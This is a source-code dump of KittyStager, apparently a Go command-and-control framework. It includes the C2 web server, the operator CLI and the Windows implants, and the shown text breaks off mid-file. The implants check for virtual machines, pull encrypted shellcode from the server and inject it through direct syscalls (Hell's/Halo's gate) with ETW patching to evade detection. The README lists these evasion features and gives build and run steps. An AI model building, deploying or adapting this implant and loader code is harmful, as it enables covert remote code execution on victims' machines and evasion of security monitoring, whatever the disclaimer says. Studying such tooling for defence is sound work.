25 | data2, err := postRequest(data1, conf, endpoint1) 26 | if err != nil { 27 | return err 28 | } 29 | var msg2 opaque.PwRegMsg2 30 | if err := json.Unmarshal(data2, &msg2); err != nil { 31 | return err 32 | } 33 | 34 | msg3, err := opaque.PwReg2(sess, msg2) 35 | if err != nil { 36 | return err 37 | } 38 | data3, err := json.Marshal(msg3) 39 | if err != nil { 40 | return err 41 | } 42 | sleep(conf.Sleep) 43 | final, err := postRequest(data3, conf, endpoint2) 44 | if err != nil { 45 | return err 46 | } 47 | if string(final) != "ok" { 48 | return fmt.Errorf("expected final ok, got %s", string(final)) 49 | } 50 | return nil 51 | } 52 | 53 | // doAuth is the OPAQUE authentication sequence 54 | func doAuth(username, password string, conf *util.MalConf) (string, error) { 55 | endpoint1 := conf.Auth1 56 | endpoint2 := conf.Auth2 57 | sess, msg1, err := opaque.AuthInit(username, password) 58 | if err != nil { 59 | return "", err 60 | } 61 | data1, err := json.Marshal(msg1) 62 | if err != nil { 63 | return "", err 64 | } 65 | sleep(conf.Sleep) 66 | data2, err := postRequest(data1, conf, endpoint1) 67 | if err != nil { 68 | return "", err 69 | } 70 | var msg2 opaque.AuthMsg2 71 | if err := json.Unmarshal(data2, &msg2); err != nil { 72 | return "", err 73 | } 74 | 75 | sharedSecret, msg3, err := opaque.Auth2(sess, msg2) 76 | if err != nil { 77 | return "", err 78 | } 79 | data3, err := json.Marshal(msg3) 80 | if err != nil { 81 | return "", err 82 | } 83 | sleep(conf.Sleep) 84 | ok, err := postRequest(data3, conf, endpoint2) 85 | if err != nil { 86 | return "", err 87 | } 88 | if string(ok) != "ok" { 89 | fmt.Printf("Expected ok, got '%s'", string(ok)) 90 | return "", err 91 | } 92 | key := sharedSecret[:16] 93 | keyB64 := base64.StdEncoding.EncodeToString(key) 94 | // generate a 32 byte key 95 | key32 := crypto.GenerateKey(keyB64, 32) 96 | return key32, nil 97 | } 98 | -------------------------------------------------------------------------------- /cmd/util/malConf.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import "encoding/json" 4 | 5 | // MalConf is the struct that contains the malware configuration 6 | type MalConf struct { 7 | Host string `json:"Host"` 8 | Endpoint string `json:"Endpoint"` 9 | UserA string `json:"UserAgent"` 10 | Sleep int `json:"Sleep"` 11 | Reg1 string `json:"Reg1"` 12 | Reg2 string `json:"Reg2"` 13 | Auth1 string `json:"Auth1"` 14 | Auth2 string `json:"Auth2"` 15 | Cookie string `json:"Cookie"` 16 | } 17 | 18 | func NewMalConf(host, endpoint, userA, reg1, reg2, auth1, auth2, cookie string, sleep int) *MalConf { 19 | return &MalConf{host, endpoint, userA, sleep, reg1, reg2, auth1, auth2, cookie} 20 | } 21 | 22 | func NewMalConfEmpty() *MalConf { 23 | return &MalConf{} 24 | } 25 | 26 | func MalConfUnmarshalJSON(j []byte) (*MalConf, error) { 27 | iniCheck := NewMalConfEmpty() 28 | err := json.Unmarshal(j, &iniCheck) 29 | if err != nil { 30 | return &MalConf{}, err 31 | } 32 | return iniCheck, nil 33 | } 34 | 35 | func MalConfMarshalJSON(m *MalConf) ([]byte, error) { 36 | j, err := json.Marshal(m) 37 | if err != nil { 38 | return nil, err 39 | } 40 | return j, nil 41 | } 42 | 43 | func (M *MalConf) GetHost() string { 44 | return M.Host 45 | } 46 | 47 | func (M *MalConf) SetHost(h string) { 48 | M.Host = h 49 | } 50 | 51 | func (M *MalConf) GetEndPoint() string { 52 | return M.Endpoint 53 | } 54 | 55 | func (M *MalConf) SetEndPoint(e string) { 56 | M.Endpoint = e 57 | } 58 | 59 | func (M *MalConf) GetUserA() string { 60 | return M.UserA 61 | } 62 | 63 | func (M *MalConf) SetUserA(u string) { 64 | M.UserA = u 65 | } 66 | 67 | func (M *MalConf) GetSleep() int { 68 | return M.Sleep 69 | } 70 | 71 | func (M *MalConf) SetSleep(s int) { 72 | M.Sleep = s 73 | } 74 | 75 | func (M *MalConf) GetReg1() string { 76 | return M.Reg1 77 | } 78 | 79 | func (M *MalConf) SetReg1(r string) { 80 | M.Reg1 = r 81 | } 82 | 83 | func (M *MalConf) GetReg2() string { 84 | return M.Reg2 85 | } 86 | 87 | func (M *MalConf) SetReg2(r string) { 88 | M.Reg2 = r 89 | } 90 | 91 | func (M *MalConf) GetAuth1() string { 92 | return M.Auth1 93 | } 94 | 95 | func (M *MalConf) SetAuth1(a string) { 96 | M.Auth1 = a 97 | } 98 | 99 | func (M *MalConf) GetAuth2() string { 100 | return M.Auth2 101 | } 102 | 103 | func (M *MalConf) SetAuth2(a string) { 104 | M.Auth2 = a 105 | } 106 | 107 | func (M *MalConf) GetCookie() string { 108 | return M.Cookie 109 | } 110 | 111 | func (M *MalConf) SetCookie(c string) { 112 | M.Cookie = c 113 | } 114 | -------------------------------------------------------------------------------- /cmd/util/util.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "KittyStager/cmd/config" 5 | "encoding/json" 6 | "fmt" 7 | color "github.com/logrusorgru/aurora" 8 | "log" 9 | "os" 10 | ) 11 | 12 | // GenerateConfig generate the config file for all the kittens 13 | func GenerateConfig(conf config.General) error { 14 | malConf := NewMalConf(fmt.Sprintf("http://%s:%d", 15 | conf.GetHost(), 16 | conf.GetPort()), 17 | conf.GetEndpoint(), 18 | conf.GetUserAgent(), 19 | conf.GetReg1(), 20 | conf.GetReg2(), 21 | conf.GetAuth1(), 22 | conf.GetAuth2(), 23 | "", 24 | conf.GetSleep()) 25 | 26 | data, err := MalConfMarshalJSON(malConf) 27 | if err != nil { 28 | return err 29 | } 30 | for x := range conf.GetMalPath() { 31 | err := os.WriteFile(conf.GetMalPathWithId(x)+"conf.txt", data, 0644) 32 | if err != nil { 33 | return err 34 | } 35 | fmt.Printf("%s %s\n", color.Green("[+] Generated conf file for"), color.Yellow(conf.GetMalPathWithId(x))) 36 | } 37 | return nil 38 | } 39 | 40 | // ErrPrint print the error 41 | func ErrPrint(err error) { 42 | if err != nil { 43 | log.Printf("\n%s %s\n", color.Red("[-]"), color.Red(err.Error())) 44 | } 45 | } 46 | 47 | // PrintInit print the recon info when the kittens calls back 48 | func PrintInit(recon []byte) error { 49 | initChecks, err := InitUnmarshalJSON(recon) 50 | if err != nil { 51 | return err 52 | } 53 | fmt.Printf("%s %s\n", color.Green("[+] Hostname:"), color.Yellow(initChecks.GetHostname())) 54 | fmt.Printf("%s %s\n", color.Green("[+] Domain:"), color.Yellow(initChecks.GetDomain())) 55 | fmt.Printf("%s %s\n", color.Green("[+] Username:"), color.Yellow(initChecks.GetUsername())) 56 | fmt.Printf("%s %s\n", color.Green("[+] IP:"), color.Yellow(initChecks.GetIp())) 57 | fmt.Print(color.Green("[+] To get more, use the recon command\n")) 58 | return nil 59 | } 60 | 61 | // PrintRecon print the recon info when the command recon is called 62 | func PrintRecon(i InitialChecks) { 63 | fmt.Printf("\n%s %s\n", color.Green("[+] Kitten name:"), color.Yellow(i.GetKittenName())) 64 | fmt.Printf("%s %s\n", color.Green("[+] Hostname:"), color.Yellow(i.GetHostname())) 65 | fmt.Printf("%s %s\n", color.Green("[+] Username:"), color.Yellow(i.GetUsername())) 66 | fmt.Printf("%s %s\n", color.Green("[+] IP:"), color.Yellow(i.GetIp())) 67 | fmt.Printf("%s %s\n", color.Green("[+] Domain:"), color.Yellow(i.GetDomain())) 68 | fmt.Printf("%s %s\n", color.Green("[+] Process:"), color.Yellow(i.GetPName())) 69 | fmt.Printf("%s %s\n", color.Green("[+] Process path:"), color.Yellow(i.GetPath())) 70 | fmt.Printf("%s %s\n", color.Green("[+] Process pid:"), color.Yellow(fmt.Sprintf("%d", i.GetPid()))) 71 | fmt.Print(color.Green("[+] Installed software : \n")) 72 | f := i.GetDir() 73 | s, _ := json.MarshalIndent(f, "", "\t") 74 | fmt.Printf("%s\n", color.Yellow(string(s))) 75 | } 76 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | KittyStager 3 |

4 | 5 |

6 | 7 | 8 |

9 | 10 | 11 | KittyStager is a simple stage 0 C2. It is made of a web server to host the shellcode and an implant, called kitten. 12 | The purpose of this project is to be able to have a web server and some implant for various usage and be 13 | able to use it with any shellcode. 14 | 15 | This project is made for educational purpose only. I am not responsible for any damage caused by this project. 16 | 17 | ***I would not use this project in red team, at least not now.*** 18 | 19 | 20 | ## Features 21 | - A simple cli to interact with the implant 22 | - Web server : 23 | - [x] A simple web server to host the shellcode 24 | - [x] User agent whitelist to prevent unwanted connections 25 | - Reconnaissance : 26 | - [x] Hostname 27 | - [x] IP 28 | - [x] OS 29 | - [x] Domain 30 | - [x] And more... 31 | - Encryption : 32 | - [x] Key exchange with Opaque 33 | - [x] Chacha20 encryption 34 | - Malware capabilities : 35 | - [x] Standard injection 36 | - [x] Halo's gate 37 | - [x] Hell's gate 38 | - [x] Recycle gate 39 | - [x] ETW patching 40 | - Sandbox : 41 | - [x] Check ram 42 | - [x] Check a none existing website 43 | - Payload : 44 | - [x] Raw shellcode 45 | - [x] Hex shellcode 46 | - [x] Dll 47 | 48 | 49 | ## Installation 50 | ``` 51 | git clone https://github.com/Enelg52/KittyStager.git 52 | cd KittyStager 53 | go build -o KittyStager 54 | ``` 55 | ### Build the implants 56 | #### BasicKitten 57 | ``` 58 | cd /kitten/basicKitten 59 | go build -o basicKitten.exe 60 | ``` 61 | #### BasicKitten 62 | ``` 63 | cd /kitten/bananaKitten 64 | go build -o basicKitten.exe 65 | ``` 66 | #### DllKitten 67 | ``` 68 | go build -buildmode=c-shared -o dllKitten.dll 69 | ``` 70 | ### On linux 71 | ``` 72 | env GOOS=windows GOARCH=amd64 go build -o basicKitten.exe 73 | ``` 74 | 75 | ## Usage 76 | 77 | ``` 78 | ./KittyStager.exe -h 79 | Usage of kittyStager.exe: 80 | -p string 81 | Path to the config file (default "cmd/config/conf.yml") 82 | ``` 83 | ### DllKitten 84 | ``` 85 | runDll32.exe dllKitten.dll,DllMain 86 | ``` 87 | 88 | ## Example 89 | #### Implant check's in 90 | ![](/img/KittyCheckin.png) 91 | #### Show target's information 92 | ![](/img/KittyTarget.png) 93 | #### Interact with the implant 94 | ![](/img/KittyInteract.png) 95 | #### Change sleep time 96 | ![](/img/KittySleep.png) 97 | #### Inject shellcode or dll 98 | ![img.png](img/KittyShellcode.png) 99 | #### Show recon 100 | ![img.png](img/KittyRecon.png) 101 | 102 | ## Contributing 103 | 104 | Pull requests are welcome. Feel free to open an issue if you want to add other features. 105 | 106 | ## Contact 107 | Enelg#9993 on discord 108 | 109 | ## Credits 110 | - https://github.com/C-Sto/BananaPhone 111 | - https://github.com/timwhitez/Doge-Gabh 112 | - https://github.com/c-bata/go-prompt 113 | - https://gist.github.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3 114 | - https://github.com/BishopFox/sliver/ 115 | - https://github.com/alinz/crypto.go/blob/main/chacha20.go 116 | - https://github.com/frekui/opaque 117 | - ... and many others -------------------------------------------------------------------------------- /cmd/http/httpServer.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "KittyStager/cmd/config" 5 | "KittyStager/cmd/crypto" 6 | "KittyStager/cmd/util" 7 | "crypto/rand" 8 | "crypto/rsa" 9 | b64 "encoding/base64" 10 | "fmt" 11 | color "github.com/logrusorgru/aurora" 12 | "io" 13 | "net/http" 14 | "time" 15 | ) 16 | 17 | var ( 18 | userA string 19 | defSleep int 20 | ) 21 | 22 | var PrivS *rsa.PrivateKey 23 | 24 | // CreateHttpServer creates the HTTP server 25 | func CreateHttpServer(conf config.General) { 26 | PrivS, _ = rsa.GenerateKey(rand.Reader, 512) 27 | Targets = make(map[string]*Kitten) 28 | defSleep = conf.GetSleep() 29 | address := fmt.Sprintf("%s:%d", conf.GetHost(), conf.GetPort()) 30 | userA = conf.GetUserAgent() 31 | fmt.Printf("%s %s\n\n", color.Green("[+] Started http server on"), color.Yellow(address)) 32 | //endpoint for all communication 33 | http.HandleFunc(conf.GetEndpoint(), logRequest) 34 | //endpoint 1 registration Opaque 35 | http.HandleFunc(conf.GetReg1(), regHandler1) 36 | //endpoint 2 registration Opaque 37 | http.HandleFunc(conf.GetReg2(), regHandler2) 38 | //endpoint 1 authentication Opaque 39 | http.HandleFunc(conf.GetAuth1(), authHandler1) 40 | //endpoint 2 authentication Opaque 41 | http.HandleFunc(conf.GetAuth2(), authHandler2) 42 | err := http.ListenAndServe(address, nil) 43 | if err != nil { 44 | util.ErrPrint(err) 45 | return 46 | } 47 | } 48 | 49 | // logRequest logs the requests from the kittens 50 | func logRequest(w http.ResponseWriter, r *http.Request) { 51 | c := util.NewInitialChecks() 52 | userAgent := r.UserAgent() 53 | //check if the user agent is correct 54 | if userAgent != userA { 55 | w.WriteHeader(404) 56 | fmt.Printf("\n%s\n", color.Yellow("[!] Unauthorized user agent: "+userAgent)) 57 | return 58 | } 59 | cookie := r.Header.Get("Cookie") 60 | user, err := b64.StdEncoding.DecodeString(cookie) 61 | //check if the cookie is initial callback 62 | if r.Method == "POST" { 63 | data, _ := io.ReadAll(r.Body) 64 | uncypherData, _ := crypto.Decrypt(data, []byte(Targets[string(user)].GetKey())) 65 | if err != nil { 66 | util.ErrPrint(err) 67 | return 68 | } 69 | c, err = util.InitUnmarshalJSON(uncypherData) 70 | //If the beacon is not in the map, add it 71 | fmt.Printf("%s %s\n", color.Green("[+] Request from:"), color.Yellow(c.GetIp())) 72 | fmt.Printf("%s %s\n", color.Green("[+] Kitten name:"), color.Yellow(c.GetKittenName())) 73 | fmt.Printf("%s %s\n", color.Green("[+] User-Agent:"), color.Yellow(r.UserAgent())) 74 | 75 | Targets[string(user)].SetId(len(Targets)) 76 | Targets[string(user)].SetLastSeen(time.Now()) 77 | Targets[string(user)].SetSleep(defSleep) 78 | Targets[string(user)].SetAlive(true) 79 | Targets[string(user)].SetInitChecks(*c) 80 | 81 | _, err = w.Write(Targets[c.GetKittenName()].GetPayload()) 82 | if err != nil { 83 | return 84 | } 85 | err = util.PrintInit(uncypherData) 86 | if err != nil { 87 | fmt.Println(color.Red("Error printing cookie")) 88 | return 89 | } 90 | // regular callback 91 | } else { 92 | kittenName := string(user) 93 | if _, ok := Targets[kittenName]; ok { 94 | _, err := w.Write(Targets[kittenName].GetPayload()) 95 | Targets[kittenName].SetLastSeen(time.Now()) 96 | if err != nil { 97 | return 98 | } 99 | Targets[kittenName].SetPayload(nil) 100 | return 101 | } 102 | 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /kittens/bananaKitten/bananaKitten.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package main 4 | 5 | import ( 6 | "KittyStager/cmd/malwareUtil" 7 | "KittyStager/cmd/util" 8 | _ "embed" 9 | "golang.org/x/sys/windows" 10 | "unsafe" 11 | 12 | bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone" 13 | ) 14 | 15 | //go:embed conf.txt 16 | var t string 17 | 18 | // example of using bananaphone to execute shellcode in the current thread. 19 | // https://github.com/C-Sto/BananaPhone 20 | 21 | func main() { 22 | if malwareUtil.VmCheck() { 23 | return 24 | } 25 | malConf, err := util.MalConfUnmarshalJSON([]byte(t)) 26 | if err != nil { 27 | return 28 | } 29 | shellcode := malwareUtil.Connect(malConf) 30 | inject(shellcode) 31 | } 32 | 33 | func inject(shellcode []byte) { 34 | //from https://github.com/C-Sto/BananaPhone/blob/master/example/calcshellcode/main.go 35 | bp, _ := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode) 36 | //resolve the functions and extract the syscalls 37 | alloc, _ := bp.GetSysID(string([]byte{'N', 't', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'})) 38 | protect, _ := bp.GetSysID(string([]byte{'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'})) 39 | createthread, _ := bp.GetSysID(string([]byte{'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x'})) 40 | waitForSingleObject, _ := bp.GetSysID(string([]byte{'N', 't', 'W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b', 'j', 'e', 'c', 't'})) 41 | 42 | createThread(shellcode, uintptr(0xffffffffffffffff), alloc, protect, createthread, waitForSingleObject) 43 | } 44 | 45 | func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid, NtWaitForSingleObject uint16) { 46 | //malwareUtil.EtwPatch(handle) 47 | var baseA uintptr 48 | regionsize := uintptr(len(shellcode)) 49 | bananaphone.Syscall( 50 | NtAllocateVirtualMemorySysid, //ntallocatevirtualmemory 51 | handle, 52 | uintptr(unsafe.Pointer(&baseA)), 53 | 0, 54 | uintptr(unsafe.Pointer(®ionsize)), 55 | uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), 56 | windows.PAGE_READWRITE, 57 | ) 58 | //write memory 59 | malwareUtil.Memcpy(baseA, shellcode) 60 | var oldprotect uintptr 61 | bananaphone.Syscall( 62 | NtProtectVirtualMemorySysid, //NtProtectVirtualMemory 63 | handle, 64 | uintptr(unsafe.Pointer(&baseA)), 65 | uintptr(unsafe.Pointer(®ionsize)), 66 | windows.PAGE_EXECUTE_READ, 67 | uintptr(unsafe.Pointer(&oldprotect)), 68 | ) 69 | var hhosthread uintptr 70 | bananaphone.Syscall( 71 | NtCreateThreadExSysid, //NtCreateThreadEx 72 | uintptr(unsafe.Pointer(&hhosthread)), //hthread 73 | 0x1FFFFF, //desiredaccess 74 | 0, //objattributes 75 | handle, //processhandle 76 | baseA, //lpstartaddress 77 | 0, //lpparam 78 | uintptr(0), //createsuspended 79 | 0, //zerobits 80 | 0, //sizeofstackcommit 81 | 0, //sizeofstackreserve 82 | 0, //lpbytesbuffer 83 | ) 84 | bananaphone.Syscall(NtWaitForSingleObject, hhosthread, uintptr(0xffffffff), 0) 85 | } 86 | -------------------------------------------------------------------------------- /kittens/haloKitten/haloKitten.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package main 4 | 5 | import ( 6 | "KittyStager/cmd/malwareUtil" 7 | "KittyStager/cmd/util" 8 | _ "embed" 9 | "golang.org/x/sys/windows" 10 | "unsafe" 11 | 12 | bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone" 13 | ) 14 | 15 | //go:embed conf.txt 16 | var t string 17 | 18 | // example of using bananaphone to execute shellcode in the current thread. 19 | // https://github.com/C-Sto/BananaPhone 20 | 21 | func main() { 22 | if malwareUtil.VmCheck() { 23 | return 24 | } 25 | malConf, err := util.MalConfUnmarshalJSON([]byte(t)) 26 | if err != nil { 27 | return 28 | } 29 | shellcode := malwareUtil.Connect(malConf) 30 | inject(shellcode) 31 | } 32 | 33 | func inject(shellcode []byte) { 34 | //from https://github.com/C-Sto/BananaPhone/blob/master/example/calcshellcode/main.go 35 | bp, _ := bananaphone.NewBananaPhone(bananaphone.HalosGateBananaPhoneMode) 36 | //resolve the functions and extract the syscalls 37 | alloc, _ := bp.GetSysID(string([]byte{'N', 't', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'})) 38 | protect, _ := bp.GetSysID(string([]byte{'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'})) 39 | createthread, _ := bp.GetSysID(string([]byte{'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x'})) 40 | waitForSingleObject, _ := bp.GetSysID(string([]byte{'N', 't', 'W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b', 'j', 'e', 'c', 't'})) 41 | 42 | createThread(shellcode, uintptr(0xffffffffffffffff), alloc, protect, createthread, waitForSingleObject) 43 | } 44 | 45 | func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid, NtWaitForSingleObject uint16) { 46 | malwareUtil.EtwPatch(handle) 47 | var baseA uintptr 48 | regionsize := uintptr(len(shellcode)) 49 | bananaphone.Syscall( 50 | NtAllocateVirtualMemorySysid, //ntallocatevirtualmemory 51 | handle, 52 | uintptr(unsafe.Pointer(&baseA)), 53 | 0, 54 | uintptr(unsafe.Pointer(®ionsize)), 55 | uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), 56 | windows.PAGE_READWRITE, 57 | ) 58 | //write memory 59 | malwareUtil.Memcpy(baseA, shellcode) 60 | var oldprotect uintptr 61 | bananaphone.Syscall( 62 | NtProtectVirtualMemorySysid, //NtProtectVirtualMemory 63 | handle, 64 | uintptr(unsafe.Pointer(&baseA)), 65 | uintptr(unsafe.Pointer(®ionsize)), 66 | windows.PAGE_EXECUTE_READ, 67 | uintptr(unsafe.Pointer(&oldprotect)), 68 | ) 69 | var hhosthread uintptr 70 | bananaphone.Syscall( 71 | NtCreateThreadExSysid, //NtCreateThreadEx 72 | uintptr(unsafe.Pointer(&hhosthread)), //hthread 73 | 0x1FFFFF, //desiredaccess 74 | 0, //objattributes 75 | handle, //processhandle 76 | baseA, //lpstartaddress 77 | 0, //lpparam 78 | uintptr(0), //createsuspended 79 | 0, //zerobits 80 | 0, //sizeofstackcommit 81 | 0, //sizeofstackreserve 82 | 0, //lpbytesbuffer 83 | ) 84 | bananaphone.Syscall(NtWaitForSingleObject, hhosthread, uintptr(0xffffffff), 0) 85 | } 86 | -------------------------------------------------------------------------------- /cmd/http/httpUtil.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "KittyStager/cmd/crypto" 5 | "KittyStager/cmd/srdi" 6 | "KittyStager/cmd/util" 7 | "encoding/json" 8 | "fmt" 9 | color "github.com/logrusorgru/aurora" 10 | "net/http" 11 | "os" 12 | "time" 13 | ) 14 | 15 | var Targets map[string]*Kitten 16 | 17 | // HostShellcode Hosts the shellcode 18 | func HostShellcode(path string, kittenName string) error { 19 | task := util.NewTask() 20 | var err error 21 | key := Targets[kittenName].GetKey() 22 | sc, err := os.ReadFile(path) 23 | if err != nil { 24 | return err 25 | } 26 | contentType := http.DetectContentType(sc) 27 | //checks if the file is a hex file 28 | if contentType == "text/plain; charset=utf-8" { 29 | task.SetTag("shellcode") 30 | task.SetPayload(sc) 31 | // check if the file is a binary 32 | } else if contentType == "application/octet-stream" { 33 | hexstring := fmt.Sprintf("%x ", sc) 34 | task.SetTag("shellcode") 35 | task.SetPayload([]byte(hexstring)) 36 | } 37 | payload, err := json.Marshal(task) 38 | if err != nil { 39 | return err 40 | } 41 | shellcode, err := crypto.Encrypt(payload, key) 42 | if err != nil { 43 | return err 44 | } 45 | Targets[kittenName].SetPayload(shellcode) 46 | fmt.Println(color.Green("[+] Shellcode hosted for " + kittenName)) 47 | return error(nil) 48 | } 49 | 50 | // HostSleep Hosts the sleep time the same way as the shellcode 51 | func HostSleep(t int, kittenName string) error { 52 | Targets[kittenName].SetSleep(t) 53 | task := util.NewTask() 54 | task.SetTag("sleep") 55 | task.SetPayload([]byte(fmt.Sprintf("%d", t))) 56 | key := Targets[kittenName].GetKey() 57 | payload, err := json.Marshal(task) 58 | if err != nil { 59 | return err 60 | } 61 | sleep, err := crypto.Encrypt(payload, key) 62 | if err != nil { 63 | return err 64 | } 65 | Targets[kittenName].SetPayload(sleep) 66 | fmt.Printf("%s %d%s %s%s\n", color.Green("[+] Sleep time set to"), color.Yellow(t), color.Yellow("s"), color.Green("on "), color.Yellow(kittenName)) 67 | return error(nil) 68 | } 69 | 70 | // HostDll Hosts the shellcode converted dll 71 | func HostDll(path, entry, kittenName string) error { 72 | var err error 73 | key := Targets[kittenName].GetKey() 74 | dll, err := os.ReadFile(path) 75 | if err != nil { 76 | return err 77 | } 78 | sc, err := srdi.DllToShellcode(dll, entry) 79 | if err != nil { 80 | return err 81 | } 82 | hexstring := fmt.Sprintf("%x ", sc) 83 | task := util.NewTask() 84 | task.SetTag("shellcode") 85 | task.SetPayload([]byte(hexstring)) 86 | payload, err := json.Marshal(task) 87 | if err != nil { 88 | return err 89 | } 90 | shellcode, err := crypto.Encrypt(payload, key) 91 | if err != nil { 92 | return err 93 | } 94 | fmt.Println(color.Green("[+] Key generated is : " + key)) 95 | Targets[kittenName].SetPayload(shellcode) 96 | fmt.Println(color.Green("[+] Dll hosted for " + kittenName)) 97 | return error(nil) 98 | } 99 | 100 | // CheckAlive checks if the malware is alive. If last seen is longer that the sleep time it will mark it 101 | func CheckAlive() { 102 | for { 103 | time.Sleep(1 * time.Second) 104 | for name, x := range Targets { 105 | if Targets[name].Alive { 106 | t := time.Since(x.GetLastSeen()) 107 | sleepTime := time.Duration(x.GetSleep()) * time.Second 108 | if t > sleepTime+5*time.Second { 109 | Targets[name].SetAlive(false) 110 | fmt.Println(color.Red("\n[!] Kitten " + name + " died.")) 111 | } 112 | } 113 | } 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /cmd/cli/cli.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "KittyStager/cmd/config" 5 | "KittyStager/cmd/http" 6 | "KittyStager/cmd/util" 7 | "fmt" 8 | "github.com/c-bata/go-prompt" 9 | "os" 10 | "strings" 11 | ) 12 | 13 | // completerCli is the completer for the main menu 14 | func completerCli(d prompt.Document) []prompt.Suggest { 15 | s := []prompt.Suggest{ 16 | {Text: "exit", Description: "Exit the program"}, 17 | {Text: "config", Description: "Show config"}, 18 | {Text: "target", Description: "Show targets"}, 19 | {Text: "interact", Description: "Interact with a target"}, 20 | {Text: "build", Description: "Build a kittens with garble, description, signature"}, 21 | } 22 | return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true) 23 | } 24 | 25 | // completerInteract is the completer for the interact menu 26 | func completerInteract(d prompt.Document) []prompt.Suggest { 27 | s := []prompt.Suggest{ 28 | {Text: "exit", Description: "Exit the program"}, 29 | {Text: "back", Description: "Go back to the main menu"}, 30 | {Text: "target", Description: "Show targets"}, 31 | {Text: "interact", Description: "Interact with a target"}, 32 | {Text: "payload", Description: "Host a payload"}, 33 | {Text: "sleep", Description: "Set sleep time"}, 34 | {Text: "recon", Description: "Show recon information"}, 35 | } 36 | return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true) 37 | } 38 | 39 | // Cli is the main menu 40 | func Cli(conf config.General) { 41 | for { 42 | t := prompt.Input("KittyStager ❯ ", completerCli, 43 | prompt.OptionTitle("KittyStager 🐈 "), 44 | prompt.OptionPrefixTextColor(prompt.Blue), 45 | prompt.OptionPreviewSuggestionTextColor(prompt.Green), 46 | prompt.OptionSelectedSuggestionBGColor(prompt.LightGray), 47 | prompt.OptionSelectedSuggestionTextColor(prompt.Blue), 48 | prompt.OptionDescriptionBGColor(prompt.Blue), 49 | prompt.OptionSuggestionBGColor(prompt.DarkGray), 50 | ) 51 | input := strings.Split(t, " ") 52 | switch input[0] { 53 | case "exit": 54 | fmt.Println("Bye bye!") 55 | return 56 | case "config": 57 | printConfig(conf) 58 | case "target": 59 | printTarget() 60 | case "interact": 61 | interact() 62 | case "build": 63 | //Only works on windows 64 | err := genMalwareQuick() 65 | util.ErrPrint(err) 66 | default: 67 | fmt.Println("Unknown command") 68 | } 69 | } 70 | } 71 | 72 | // Interact is the interact menu 73 | func Interact(kittenName string) error { 74 | in := fmt.Sprintf("KittyStager - %s❯ ", kittenName) 75 | for { 76 | t := prompt.Input(in, completerInteract, 77 | prompt.OptionPrefixTextColor(prompt.Blue), 78 | prompt.OptionPreviewSuggestionTextColor(prompt.Green), 79 | prompt.OptionSelectedSuggestionBGColor(prompt.LightGray), 80 | prompt.OptionSelectedSuggestionTextColor(prompt.Blue), 81 | prompt.OptionDescriptionBGColor(prompt.Blue), 82 | prompt.OptionSuggestionBGColor(prompt.DarkGray)) 83 | input := strings.Split(t, " ") 84 | switch input[0] { 85 | case "exit": 86 | fmt.Println("Bye bye!") 87 | os.Exit(0) 88 | case "back": 89 | return nil 90 | case "target": 91 | printTarget() 92 | case "interact": 93 | interact() 94 | case "payload": 95 | payload(kittenName) 96 | case "sleep": 97 | sleep(input, kittenName) 98 | case "recon": 99 | initChecks := http.Targets[kittenName].GetInitChecks() 100 | util.PrintRecon(initChecks) 101 | default: 102 | fmt.Println("Unknown command") 103 | } 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /kittens/dllKitten/dllKitten.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | // go build -buildmode=c-shared -ldflags="-w -s -H=windowsgui" -o dllKiten.dll 4 | package main 5 | 6 | import "C" 7 | import ( 8 | "KittyStager/cmd/malwareUtil" 9 | "KittyStager/cmd/util" 10 | _ "embed" 11 | "fmt" 12 | bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone" 13 | "golang.org/x/sys/windows" 14 | "unsafe" 15 | ) 16 | 17 | //go:embed conf.txt 18 | var t string 19 | 20 | func main() { 21 | } 22 | 23 | //export Init 24 | func Init() { 25 | if malwareUtil.VmCheck() { 26 | return 27 | } 28 | malConf, err := util.MalConfUnmarshalJSON([]byte(t)) 29 | if err != nil { 30 | return 31 | } 32 | shellcode := malwareUtil.Connect(malConf) 33 | inject(shellcode) 34 | } 35 | 36 | func inject(shellcode []byte) { 37 | //from https://github.com/C-Sto/BananaPhone/blob/master/example/calcshellcode/main.go 38 | bp, _ := 